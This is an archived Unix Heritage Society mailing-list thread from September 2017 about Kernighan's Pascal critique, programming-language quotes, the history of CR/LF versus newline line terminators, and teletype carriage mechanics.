Finally, a favourite quote:

  "Programs must be written for people to read, and only incidentally
for machines to execute" -- Hal Abelson

https://twitter.com/old_sound/status/903919515884544000


--Toby


> 
>         - Dan C.
> 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170902/643d77d9/attachment.html>

From toby at telegraphics.com.au  Sun Sep  3 05:53:41 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Sat, 2 Sep 2017 15:53:41 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <wymuh5xv8f083yhg0w6pe3ng.1504365370903@email.android.com>
References: <wymuh5xv8f083yhg0w6pe3ng.1504365370903@email.android.com>
Message-ID: <eec6c6ba-4d92-b86e-f621-5427d339c2c9@telegraphics.com.au>

On 2017-09-02 11:16 AM, Diomidis Spinellis wrote:
> And let's not forget Alan Perlis's:
> 
> "A language that doesn't affect the way you think about programming, is
> not worth knowing."
> 
>  https://en.m.wikiquote.org/wiki/Alan_Perlis


Perlis has one for every occasion. Another favourite of mine, and
perhaps relevant to this thread:


"A programming language is low level when its programs require attention
to the irrelevant."  - Alan Perlis


> 
> 
> -------- Original message --------
> From: Toby Thain
> Date:02/09/2017 18:00 (GMT+02:00)
> To: Dan Cross
> Cc: The Eunuchs Hysterical Society , quad
> Subject: Re: [TUHS] Why Pascal is Not My Favorite Programming Language -
> Unearthed!
> 
> ...
> 
> 
> Finally, a favourite quote:
> 
>   "Programs must be written for people to read, and only incidentally
> for machines to execute" -- Hal Abelson
> 
> https://twitter.com/old_sound/status/903919515884544000
> 
> 
> --Toby
> 
> 
>>
>>         - Dan C.
>>
> 



From dave at horsfall.org  Sun Sep  3 10:56:04 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 3 Sep 2017 10:56:04 +1000 (EST)
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <CAJfiPzyBc12iXgvSRpkQj194Qg8aW5O0fg6rLg27L3Siu_Jqew@mail.gmail.com>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <7584bb4ccd27f08f443484b80152e4da@bl.org>
 <CAJfiPzx+=qFWOghCGkoQau7EkcbA7HETCJFQxbZUJ88qAc4_0Q@mail.gmail.com>
 <201708311329.v7VDThNT012493@freefriends.org>
 <CAJfiPzyBc12iXgvSRpkQj194Qg8aW5O0fg6rLg27L3Siu_Jqew@mail.gmail.com>
Message-ID: <alpine.BSF.2.21.1709031054520.48526@aneurin.horsfall.org>

On Thu, 31 Aug 2017, Nemo wrote:

> (By the way, why all the ^M is the files?)

Err, because CR/LF was the line terminator?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From cym224 at gmail.com  Sun Sep  3 12:08:00 2017
From: cym224 at gmail.com (Nemo)
Date: Sat, 2 Sep 2017 22:08:00 -0400
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is Not
 My Favorite Programming Language - Unearthed!]
Message-ID: <CAJfiPzx4fSG7jyF=7q1+yKM+freFMKQ6E=GR45nrOtxkhim-Qw@mail.gmail.com>

On 02/09/2017, Dave Horsfall <dave at horsfall.org> wrote:
> On Thu, 31 Aug 2017, Nemo wrote:
>
>> (By the way, why all the ^M is the files?)
>
> Err, because CR/LF was the line terminator?

Hhhmmm... This begs the historical question:  When did LF replace CR/LF in UNIX?

N.

>
> --
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will
> suffer."
>


From dave at horsfall.org  Sun Sep  3 12:54:02 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 3 Sep 2017 12:54:02 +1000 (EST)
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <CAJfiPzx4fSG7jyF=7q1+yKM+freFMKQ6E=GR45nrOtxkhim-Qw@mail.gmail.com>
References: <CAJfiPzx4fSG7jyF=7q1+yKM+freFMKQ6E=GR45nrOtxkhim-Qw@mail.gmail.com>
Message-ID: <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>

On Sat, 2 Sep 2017, Nemo wrote:

> Hhhmmm... This begs the historical question:  When did LF replace CR/LF 
> in UNIX?

Unix has always used NL as the terminator :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From arnold at skeeve.com  Sun Sep  3 22:07:12 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Sun, 03 Sep 2017 06:07:12 -0600
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <alpine.BSF.2.21.1709031054520.48526@aneurin.horsfall.org>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <7584bb4ccd27f08f443484b80152e4da@bl.org>
 <CAJfiPzx+=qFWOghCGkoQau7EkcbA7HETCJFQxbZUJ88qAc4_0Q@mail.gmail.com>
 <201708311329.v7VDThNT012493@freefriends.org>
 <CAJfiPzyBc12iXgvSRpkQj194Qg8aW5O0fg6rLg27L3Siu_Jqew@mail.gmail.com>
 <alpine.BSF.2.21.1709031054520.48526@aneurin.horsfall.org>
Message-ID: <201709031207.v83C7Cmc032133@freefriends.org>

Dave Horsfall <dave at horsfall.org> wrote:

> On Thu, 31 Aug 2017, Nemo wrote:
>
> > (By the way, why all the ^M is the files?)
>
> Err, because CR/LF was the line terminator?

There aren't any CRs in the original files. Something got mangled in
the email maybe.

Check out the files from https://github.com/arnoldrobbins/cstr100.  I'm up
to 3 bugs fixed in the 1979 MS macros and one in the paper.  I have also
brought all the references into line with the original, and added the PostScript
of the original as well.

There remains one troff glitch; the inline CW is formatting as underlined
Roman text.  No idea why, and I haven't had time to investigate.  I suspect
the MS macros in use when BWK wrote the paper had evolved somewhat.

HTH,

Arnold


From norman at oclsc.org  Mon Sep  4 00:48:11 2017
From: norman at oclsc.org (Norman Wilson)
Date: Sun, 03 Sep 2017 10:48:11 -0400
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language
	-	Unearthed!
Message-ID: <1504450095.23320.for-standards-violators@oclsc.org>

Steve Johnson:

  I think of Alan Demer's comment: "There are two kinds of programming
  languages, those that make it easy to write good programs, and those
  that make it hard to write bad ones."

====

I'm (still) with Larry Flon on this one:

  There does not now, nor will there ever, exist a programming language
  in which it is the least bit hard to write bad programs.

-- SIGPLAN Notices, October 1975, p. 16.

There are certainly language that make it easier to avoid
trivial mistakes, like buffer overruns and pointer botches,
but the sort of nonsense Kernigan and Plaugher demonstrated
and discussed about the same time in The Elements of Programming
Style shows up in any language.

I'm afraid I see that nearly any time I look in source code.
To be fair, these days I rarely have the time to look at
someone else's source code unless it's buggy, but it is
nevertheless appalling what one finds in critical system
software like boot environments and authentication code.

There is no royal language to good programs.  Programming
well takes discipline and skill and experience.  Languages
like Pascal that prevent certain classes of sloppiness like
overrunning arrays and string buffers may be better for
teaching beginners, but only because that makes it easier
to focus on the real issues, such as how to structure a
program well and how to write clearly.  I have yet to see
evidence that that actually happens.

Norman Wilson
Toronto ON


From imp at bsdimp.com  Mon Sep  4 01:08:31 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 3 Sep 2017 09:08:31 -0600
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>
References: <CAJfiPzx4fSG7jyF=7q1+yKM+freFMKQ6E=GR45nrOtxkhim-Qw@mail.gmail.com>
 <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>
Message-ID: <CANCZdfqT2kg8vb+p_=wjp2TAmDOqA8zFbP2s_XxiqJUoND2B_g@mail.gmail.com>

On Sat, Sep 2, 2017 at 8:54 PM, Dave Horsfall <dave at horsfall.org> wrote:

> On Sat, 2 Sep 2017, Nemo wrote:
>
> Hhhmmm... This begs the historical question:  When did LF replace CR/LF in
>> UNIX?
>>
>
> Unix has always used NL as the terminator :-)


<CR><LF> was the line terminator in DEC operating systems that grew up
around the same time as Unix. CP/M and MS-DOS inherited that from them
since those systems were developed, in part, using cross compilers running
on DEC gear with DEC OSes. Unix came from the Multics world where LF was
used as the line terminator... Thankfully, neither CP/M nor MS-DOS picked
up DEC's RMS...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/242a3052/attachment.html>

From clemc at ccc.com  Mon Sep  4 06:06:04 2017
From: clemc at ccc.com (Clem Cole)
Date: Sun, 3 Sep 2017 16:06:04 -0400
Subject: [TUHS] Line Terminators in Text Files [
Message-ID: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>

On Sun, Sep 3, 2017 at 11:08 AM, Warner Losh <imp at bsdimp.com> wrote:

>
>
> On Sat, Sep 2, 2017 at 8:54 PM, Dave Horsfall <dave at horsfall.org> wrote:
>
>> On Sat, 2 Sep 2017, Nemo wrote:
>>
>> Hhhmmm... This begs the historical question:  When did LF replace CR/LF
>>> in UNIX?
>>>
>>
>> Unix has always used NL as the terminator :-)
>
>
> <CR><LF> was the line terminator in DEC operating systems that grew up
> around the same time as Unix. CP/M and MS-DOS inherited that from them
> since those systems were developed, in part, using cross compilers running
> on DEC gear with DEC OSes. Unix came from the Multics world where LF was
> used as the line terminator... Thankfully, neither CP/M nor MS-DOS picked
> up DEC's RMS...
>
> Warner
>
​The fun story on that Warner is after years of dogged defense of RMS, when
C was written for VMS, Cutler had to add Stream I/O.   The moment is was
released, much (?most?) of customer base (including a lot of internal folks
like the compiler runtime and DB folks) switched to using it.   It was so
much easier.​  I never heard Dave back down, but it I used to smile when I
saw the statistics.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/4b58270f/attachment.html>

From imp at bsdimp.com  Mon Sep  4 07:42:24 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 3 Sep 2017 15:42:24 -0600
Subject: [TUHS] Line Terminators in Text Files [
In-Reply-To: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>
References: <CAC20D2MbSa3YxkkKdYUj01R0C-cnm0Bv6d+dAsBtEhHCegL4Qw@mail.gmail.com>
Message-ID: <CANCZdfpD7yQp0ZHo6HcZQSch=K-RXTf8sXiELU8MtZ_ZbDb1eg@mail.gmail.com>

On Sun, Sep 3, 2017 at 2:06 PM, Clem Cole <clemc at ccc.com> wrote:

>
>
> On Sun, Sep 3, 2017 at 11:08 AM, Warner Losh <imp at bsdimp.com> wrote:
>
>>
>>
>> On Sat, Sep 2, 2017 at 8:54 PM, Dave Horsfall <dave at horsfall.org> wrote:
>>
>>> On Sat, 2 Sep 2017, Nemo wrote:
>>>
>>> Hhhmmm... This begs the historical question:  When did LF replace CR/LF
>>>> in UNIX?
>>>>
>>>
>>> Unix has always used NL as the terminator :-)
>>
>>
>> <CR><LF> was the line terminator in DEC operating systems that grew up
>> around the same time as Unix. CP/M and MS-DOS inherited that from them
>> since those systems were developed, in part, using cross compilers running
>> on DEC gear with DEC OSes. Unix came from the Multics world where LF was
>> used as the line terminator... Thankfully, neither CP/M nor MS-DOS picked
>> up DEC's RMS...
>>
>> Warner
>>
> ​The fun story on that Warner is after years of dogged defense of RMS,
> when C was written for VMS, Cutler had to add Stream I/O.   The moment is
> was released, much (?most?) of customer base (including a lot of internal
> folks like the compiler runtime and DB folks) switched to using it.   It
> was so much easier.​  I never heard Dave back down, but it I used to smile
> when I saw the statistics.
>

We got the first release of VAX-C for VMS at school. It didn't have the
Stream I/O mode and all kinds of software was totally broken. There were
stern warnings in the release notes about this as well, IIRC. However, in
the next release it required an upgrade to the next rev of VMS since the C
runtime now depended on the Stream I/O features and all those programs that
were broken mostly worked w/o change. Took another few releases before
things liked exit() worked in a Unix-y way rather than as a thin wrapper
for SYS$EXIT() and such...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/0d0f5de0/attachment.html>

From dave at horsfall.org  Mon Sep  4 08:03:29 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Mon, 4 Sep 2017 08:03:29 +1000 (EST)
Subject: [TUHS] Why Pascal is Not My Favorite Programming Language -
 Unearthed!
In-Reply-To: <201709031207.v83C7Cmc032133@freefriends.org>
References: <201708301234.v7UCYsPQ002608@freefriends.org>
 <7584bb4ccd27f08f443484b80152e4da@bl.org>
 <CAJfiPzx+=qFWOghCGkoQau7EkcbA7HETCJFQxbZUJ88qAc4_0Q@mail.gmail.com>
 <201708311329.v7VDThNT012493@freefriends.org>
 <CAJfiPzyBc12iXgvSRpkQj194Qg8aW5O0fg6rLg27L3Siu_Jqew@mail.gmail.com>
 <alpine.BSF.2.21.1709031054520.48526@aneurin.horsfall.org>
 <201709031207.v83C7Cmc032133@freefriends.org>
Message-ID: <alpine.BSF.2.21.1709040801550.48526@aneurin.horsfall.org>

On Sun, 3 Sep 2017, arnold at skeeve.com wrote:

> There aren't any CRs in the original files. Something got mangled in the 
> email maybe.

Then it must've passed through an MS/DOS gateway :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From scj at yaccman.com  Mon Sep  4 08:28:06 2017
From: scj at yaccman.com (Steve Johnson)
Date: Sun, 03 Sep 2017 15:28:06 -0700
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
	Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <alpine.BSF.2.21.1709031252120.48526@aneurin.horsfall.org>
Message-ID: <cfb786623cc4a7df90c6009394bfff527b31f440@webmail.yaccman.com>

I think the reason for this is pretty obvious.  At the time -- for
many of the paper terminals, line feed simply rotated the platen, and
the print head stayed at the same column position.  Carriage return
returned the print head to the first column without advancing the
paper (remember overstriking?).  But there were also some terminals
that both advanced the paper and returned the print head (I'm hazy
about this, but I think the IBM Selectric was one...).

The Honeywell system in Murray Hill had a teletype driver that
attempted to paper over these differences.  If it saw a linefeed on
some tty's they would issue the line feed and then space out to the
previous column location.   If it saw a carriage return it would
backspace to the first column.  It did recognize CR/LF and did
something more reasonable.

I do remember one guy who wrote his program to output LF/CR instead of
CR/LF.   The teletype driver would do a LF and then space out to the
previous column and then do a carriage return.  Pretty painful at 300
baud!

Doug might remember better than I but I suspect some terminal did the
combined CR/LF only, so that's why Unix adopted it.  Certainly by the
time glass teletypes came along, making overstriking (and often
underlining) impossible, I don't think anybody objected.

Steve

----- Original Message -----
From: "Dave Horsfall" <dave at horsfall.org>
To:"The Eunuchs Hysterical Society" <tuhs at tuhs.org>
Cc:
Sent:Sun, 3 Sep 2017 12:54:02 +1000 (EST)
Subject:Re: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal
is Not My Favorite Programming Language - Unearthed!]

 On Sat, 2 Sep 2017, Nemo wrote:

 > Hhhmmm... This begs the historical question: When did LF replace
CR/LF 
 > in UNIX?

 Unix has always used NL as the terminator :-)

 -- 
 Dave Horsfall DTM (VK2KFU) "Those who don't understand security will
suffer."

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/a84e58a5/attachment.html>

From scj at yaccman.com  Mon Sep  4 08:53:36 2017
From: scj at yaccman.com (Steve Johnson)
Date: Sun, 03 Sep 2017 15:53:36 -0700
Subject: [TUHS] Follow-on to the Pascal/C/etc. discussion
In-Reply-To: <201709012329.v81NTMYq009052@darkstar.fourwinds.com>
Message-ID: <0e0e461ffcde3f8c0d0ac6de61ccd622fb82958e@webmail.yaccman.com>

A great question, Jon.

Here are some things that I've stressed at times when teaching or
mentoring.

	* Realize that programming is a service profession.  A program's
users probably don't care what language it was written in or what
editor was used to write it or why it wouldn't run on their operating
system.  They have a job to do.   The challenge here is that
programming can be a lot of fun, so it can attract people who love the
act of programming and fill their programs with "neat hacks" that make
them feel good but do nothing for their users.  This is the ethical
equivalent of waiters in a restaurant standing around joking and
flirting when you are hungry and want to order.
	* Like music, programming often rewards people who get a bit obsessed
with it as youngsters and spend most of their time with it.  This can
leave the programmers very short of basic social skills such as
writing and communicating with other team members and their users. 
This opens the door to the worst kind of bugs -- not doing something
wrong, but doing the wrong thing.
	* To oversimplify, every instruction in the computer either serves
the customer or the programmer.   The customer may want to multiply
matrices.  In their mind, the program is a triply nested loop with a
lot of multiplies and adds.  Those instructions belong to the
customer.  Instructions to set up call stacks, create and destroy
processes, do context switches, execute in device drivers, etc. etc.
belong to the programmers.  The more you can attack and simplify this
kind of bureaucracy in the computer, the happier both you and the user
will be.
	* If a program speeds up by a factor of 10, it becomes qualitatively
different.  Or if it slows down by a factor of 10.  Consider how
Google would feel if it took 5 seconds to respond instead of .5
seconds...   Speed is important.  In many cases that I've seen, slow
programs are slow because the "programmer's instructions" didn't
support well what the customer wanted to do...
	* Interactive programs (Shell, Python, MATLAB, etc.) are great ways
to prototype.  But beware of them as bases for production programs. 
The problem is that bells and whistles can and do creep into the
language and be unnoticed because they happen within human reaction
time.  At the keyboard, you don't notice, or may even like the
features, but when you are doing something a trillion times they can
cause the "programmer instructions" to dominate the run time.  Also,
typos can lurk for years before detonating if you don't have a strong
typing and procedure definition environment.

	Hope this was the kind of thing you were looking for...

	Steve

----- Original Message -----
From: "Jon Steinhart" <jon at fourwinds.com>
To:"The Unix Heritage Society" <tuhs at tuhs.org>
Cc:
Sent:Fri, 01 Sep 2017 16:29:22 -0700
Subject:[TUHS] Follow-on to the Pascal/C/etc. discussion

 Hi everybody. I'm new to this list as a side-effect of my question
about
 the provenance of strcmp and the convention of returning <0, 0, >0.

 I had to learn Pascal as a freshman in college which was challenging
coming
 from BTL knowing C. Kept wondering how Pascal could be used for
anything
 useful. The answer that I later saw in industry was "by adding
non-standard
 extensions".

 Language discussions often turn to the issue of whether programming
languages
 should prevent programmers from making mistakes or whether that's the
job of
 the programmer. This is, of course, independent of discussing the
 expressiveness of languages.

 I agree that a lot of "programming" today consists of trusting and
bolting
 together random library functions. That's not me; I often work on
safety
 critical devices and I'm not going to rely on libraries of unknown
provenance
 when building a medical device that I make be hooked up to it
someday.

 Years ago I inherited a project written in hodgepodge of programming
languages
 including ruby. My first reaction to ruby was "Wow, how do I get some
of
 what they're smoking because it's better than anything I have?" I
eventually
 asked Ward Cunningham about it because he was working for ruby house
AboutUs
 at the time. His answer went something like this:

 Jon, you're an engineer and you understand engineering.
 You know programming and programmers and understand programming.
 Then, there are the people with whom we entrust our confidential
credit card data.
 That's what ruby is for.

 This nicely summarized the current state of affairs in which the most
critical
 tasks are assigned to the least competent people. I see this as a
management,
 business, and political problem which can't be solved by different
languages.

 I have often made the statement that "I would never hire someone who
had to use
 glibc in order to implement a singly-linked list." I get push-back
such as "Oh,
 and people can create bugs rather than using the debugged library?"
to which I
 glibly respond "debugged library like OpenSSL?"

 I am more than a little terrified by the "everybody must learn to
code in high
 school movement". What they're learning is something at a level akin
to the
 ruby example above. The goal is clearly to make "coding" a minimum
wage job
 and to many the distinction between "coding" and engineering is lost.
I've
 spoken with many kids in the "future engineer" category who are
frustrated at
 the lack of depth in the curriculum. I'd summarize it as teaching
people to
 program without teaching them anything about computers.

 Anyway, I have been volunteering to teach technology to kids for
years as
 karmic payback to my BTL explorer scout advisors Carl Christensen,
Heinz
 Lycklama, and Hans Lie. Not to mention all of the amazing people that
I met
 there when my dedication to hitchhiking up the the Labs after school
and
 talking people into signing me in turned into a series of summer
jobs.
 I'm in the process of turning my class notes into a book. The goal of
the
 book is to teach kids enough about computers that they can understand
what
 their code is actually doing and why one can write better code with
an
 understanding of the hardware and environment.

 The book is in the editing phase so it's beyond wholesale changes.
But I'm
 curious as to what you all think should be in such a book as I'll
find a way
 to wedge in anything important that I missed.

 Thanks,
 Jon

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/851867cd/attachment.html>

From torek at torek.net  Mon Sep  4 09:14:43 2017
From: torek at torek.net (Chris Torek)
Date: Sun, 03 Sep 2017 16:14:43 -0700
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
	Not My Favorite Programming Language - Unearthed!]
In-Reply-To: Your message of "Sun, 03 Sep 2017 15:28:06 -0700."
 <cfb786623cc4a7df90c6009394bfff527b31f440@webmail.yaccman.com>
Message-ID: <201709032314.v83NEhxg031354@elf.torek.net>

>I think the reason for this is pretty obvious.  At the time -- for
>many of the paper terminals, line feed simply rotated the platen, and
>the print head stayed at the same column position.  Carriage return
>returned the print head to the first column without advancing the
>paper (remember overstriking?).

In what was either a remarkable coincidence, or actual planning,
the old ASR 33 at I think 110 baud (maybe 300) took two "character
times" to do the carriage return, so that if you sent CR and LF
in that order, the LF occurred mid-CR and the print head was
ready right at the time the next character arrived.

(One of the Stupid Pet Tricks of the day was to print a line with
an unfilled character halfway through, then send CR, then print
the middle character and have it come out in the right position.)

>But there were also some terminals that both advanced the paper
>and returned the print head (I'm hazy about this, but I think
>the IBM Selectric was one...).

Possibly, since as I recall there was a keyboard key that did the
equivalent of pushing the return bar on a manual typewriter.  If
you look at photos of Selectrics, there is no external bar (though
of course there are knobs to rotate the platen for inserting and
removing pages).

(I used a modified Selectric that had been converted into a
printer, hooking it to a custom driver that I wrote, and custom
hardware that came with the modified Selectric, on my home TRS-80,
back in high school -- 1980-81 or so.  I remember seven solenoids,
which must have been divided into 1 for shift -- 180 degree rotate
-- and 2 for tilt plus 4 for rotate.  I had access to an actual
Selectric as well, and when you pushed the shift key, the ball
would do the 180 degree rotate at that point, before doing the
tilt/rotate for each character.)

>Doug might remember better than I but I suspect some terminal did the
>combined CR/LF only, so that's why Unix adopted it.

As I recall, the original definition of ASCII suggested that the
LF character was either "line feed" or "new line", and that if it
*was* new-line, it would be stand-alone.

Wikipedia (https://en.wikipedia.org/wiki/ASCII) implies that Unix
got this from Multics.

Of course, DEL was code 0177 because it punched all the holes in
the paper tape, which would always work to "erase" any partially
punched holes....

Chris


From gtaylor at tnetconsulting.net  Mon Sep  4 09:37:02 2017
From: gtaylor at tnetconsulting.net (Grant Taylor)
Date: Sun, 3 Sep 2017 17:37:02 -0600
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <201709032314.v83NEhxg031354@elf.torek.net>
References: <201709032314.v83NEhxg031354@elf.torek.net>
Message-ID: <74361248-9fc7-fd59-3128-a789ded70a63@tnetconsulting.net>

On 09/03/2017 05:14 PM, Chris Torek wrote:
> Of course, DEL was code 0177 because it punched all the holes in
> the paper tape, which would always work to "erase" any partially
> punched holes....

I remember having a face palm moment when I realized / understood this
for the first time.

I've had the fortune of sharing that epiphany with others a handful of
times.

I think the order of the carriage return followed by the line feed will
become another such epiphany inducing pieces of trivia.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/5f70b4c1/attachment.bin>

From pete at dunnington.plus.com  Mon Sep  4 10:31:22 2017
From: pete at dunnington.plus.com (Pete Turnbull)
Date: Mon, 4 Sep 2017 01:31:22 +0100
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <201709032314.v83NEhxg031354@elf.torek.net>
References: <201709032314.v83NEhxg031354@elf.torek.net>
Message-ID: <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>

On 04/09/2017 00:14, Chris Torek wrote:

> In what was either a remarkable coincidence, or actual planning,
> the old ASR 33 at I think 110 baud (maybe 300) took two "character
> times" to do the carriage return, so that if you sent CR and LF
> in that order, the LF occurred mid-CR and the print head was
> ready right at the time the next character arrived.

That's not right.  Yes, the ASR33 runs at 110 baud (10cps), but all - 
including mine and those of my friends -  take more like half a dozen 
character times to perform a CR from the right hand side.  Moreover, the 
time it takes depends in a non-linear fashionon how far along the line 
the printhead has travelled; it's driven by a spring and decelerated and 
stopped by an air dashpot.  Even an LF takes more than two character 
times.  That's why ASR33 drivers send a string of nulls after a CR. 
Many are smart enough to send the LF instead of the first null, if they 
see that LF is the first character after CR.

>> But there were also some terminals that both advanced the paper
>> and returned the print head (I'm hazy about this, but I think
>> the IBM Selectric was one...).

The ASR33 friction feed models, but not the sprocket fed ones, can be 
configured to do that but AFAIR only at the 72nd character position at 
the end of a line.

> Possibly, since as I recall there was a keyboard key that did the
> equivalent of pushing the return bar on a manual typewriter.  If
> you look at photos of Selectrics, there is no external bar (though
> of course there are knobs to rotate the platen for inserting and
> removing pages).

That's correct.  Selectrics have a RETURN key, which performs carriage 
return and linefeed, and on mine there was a switch for single/double 
line spacing too.  I no longer have one, but I used to have two.

-- 
Pete
Pete Turnbull


From torek at torek.net  Mon Sep  4 11:47:03 2017
From: torek at torek.net (Chris Torek)
Date: Sun, 03 Sep 2017 18:47:03 -0700
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
	Not My Favorite Programming Language - Unearthed!]
In-Reply-To: Your message of "Mon, 04 Sep 2017 01:31:22 +0100."
 <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>
Message-ID: <201709040147.v841l3kf031858@elf.torek.net>

>That's not right.  Yes, the ASR33 runs at 110 baud (10cps), but all - 
>including mine and those of my friends -  take more like half a dozen 
>character times to perform a CR from the right hand side.

Hm, OK.  I recall actually seeing the trick performed on
*something* though.

(I hooked up an old ASR 33 to someone's system with a current loop
circuit at one point, plus a bit-bang driver, and I thought I
remembered it being this particular ASR 33 on which I saw the trick,
but it might have been something else.)

Chris


From imp at bsdimp.com  Mon Sep  4 12:58:02 2017
From: imp at bsdimp.com (Warner Losh)
Date: Sun, 3 Sep 2017 20:58:02 -0600
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <201709040147.v841l3kf031858@elf.torek.net>
References: <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>
 <201709040147.v841l3kf031858@elf.torek.net>
Message-ID: <CANCZdfr7UefCu1gQBJLL-mZ6Kz4x6u7qoJM9aEN+PBYUv9g00w@mail.gmail.com>

On Sun, Sep 3, 2017 at 7:47 PM, Chris Torek <torek at torek.net> wrote:

> >That's not right.  Yes, the ASR33 runs at 110 baud (10cps), but all -
> >including mine and those of my friends -  take more like half a dozen
> >character times to perform a CR from the right hand side.
>
> Hm, OK.  I recall actually seeing the trick performed on
> *something* though.
>
> (I hooked up an old ASR 33 to someone's system with a current loop
> circuit at one point, plus a bit-bang driver, and I thought I
> remembered it being this particular ASR 33 on which I saw the trick,
> but it might have been something else.)


Time delay for physical movement of the print head is the main reason that
termcap has entries for the number of NUL characters to insert after
carriage return. Not sure it is for the ASR 33, but when it takes a while
for the carriage to return to column 1, you have to insert NULs to wait for
it to be ready to print characters. If it takes 100ms to do the return,
that's still 10 characters of NUL needed...

Warner
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170903/3ad2245e/attachment.html>

From pete at dunnington.plus.com  Mon Sep  4 19:05:45 2017
From: pete at dunnington.plus.com (Pete Turnbull)
Date: Mon, 4 Sep 2017 10:05:45 +0100
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <CANCZdfr7UefCu1gQBJLL-mZ6Kz4x6u7qoJM9aEN+PBYUv9g00w@mail.gmail.com>
References: <2c69951c-964d-0ab3-4494-dbe38d90aa3c@dunnington.plus.com>
 <201709040147.v841l3kf031858@elf.torek.net>
 <CANCZdfr7UefCu1gQBJLL-mZ6Kz4x6u7qoJM9aEN+PBYUv9g00w@mail.gmail.com>
Message-ID: <5aad9d81-40a9-84eb-11b9-934822258b89@dunnington.plus.com>

On 04/09/2017 03:58, Warner Losh wrote:
> Time delay for physical movement of the print head is the main reason 
> that termcap has entries for the number of NUL characters to insert 
> after carriage return. Not sure it is for the ASR 33, but when it takes 
> a while for the carriage to return to column 1, you have to insert NULs 
> to wait for it to be ready to print characters. If it takes 100ms to do 
> the return, that's still 10 characters of NUL needed...

I'm going to assume that's a typo :-)  A single NUL at 110 baud,or 
10cps, is 100ms.

-- 
Pete
Pete Turnbull


From richard at inf.ed.ac.uk  Mon Sep  4 19:37:08 2017
From: richard at inf.ed.ac.uk (Richard Tobin)
Date: Mon,  4 Sep 2017 10:37:08 +0100 (BST)
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal
	isNot My Favorite Programming Language - Unearthed!]
In-Reply-To: Chris Torek's message of Sun, 03 Sep 2017 16:14:43 -0700
Message-ID: <20170904093708.E07EC150A5B2@macaroni.inf.ed.ac.uk>

> As I recall, the original definition of ASCII suggested that the
> LF character was either "line feed" or "new line", and that if it
> *was* new-line, it would be stand-alone.

I have put a copy of the original ASCII standard (scanned images) at

  http://www.cogsci.ed.ac.uk/~richard/ascii.tar

I don't remember where I got it from.

-- Richard

-- 
The University of Edinburgh is a charitable body, registered in
Scotland, with registration number SC005336.



From pete at dunnington.plus.com  Mon Sep  4 20:07:39 2017
From: pete at dunnington.plus.com (Pete Turnbull)
Date: Mon, 4 Sep 2017 11:07:39 +0100
Subject: [TUHS] Line Terminators in Text Files [Was: Re: Why Pascal is
 Not My Favorite Programming Language - Unearthed!]
In-Reply-To: <201709040147.v841l3kf031858@elf.torek.net>
